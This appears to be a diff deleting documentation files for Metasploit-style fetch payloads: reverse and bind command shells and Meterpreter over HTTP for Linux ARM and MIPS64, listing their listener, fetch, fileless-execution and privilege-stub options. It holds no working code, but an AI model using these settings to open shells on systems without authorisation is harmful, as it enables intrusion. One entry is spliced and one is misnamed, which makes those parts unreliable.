FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME eOJorghpY no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,85 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux dup2 Command Shell, Bind TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/armle/shell/bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME DNCjskbcX no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
dup2 socket in r12, then execve.
|
|
||||||
|
|
||||||
Listen for a connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,93 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/armle/shell/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME GqKkLiLQ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
dup2 socket in r12, then execve.
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/armle/shell_bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
civ
|
|
||||||
hal
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
ARGV0 sh no argv[0] to pass to execve
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
SHELL /bin/sh yes The shell to execute.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME spYHQrQwU no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Connect to target and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,82 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/armle/shell_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
civ
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
ARGV0 sh no argv[0] to pass to execve
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SHELL /bin/sh yes The shell to execute.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME EzSqYGrB no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mips64/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/mips64/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME jkofOBXy no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute a MIPS64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
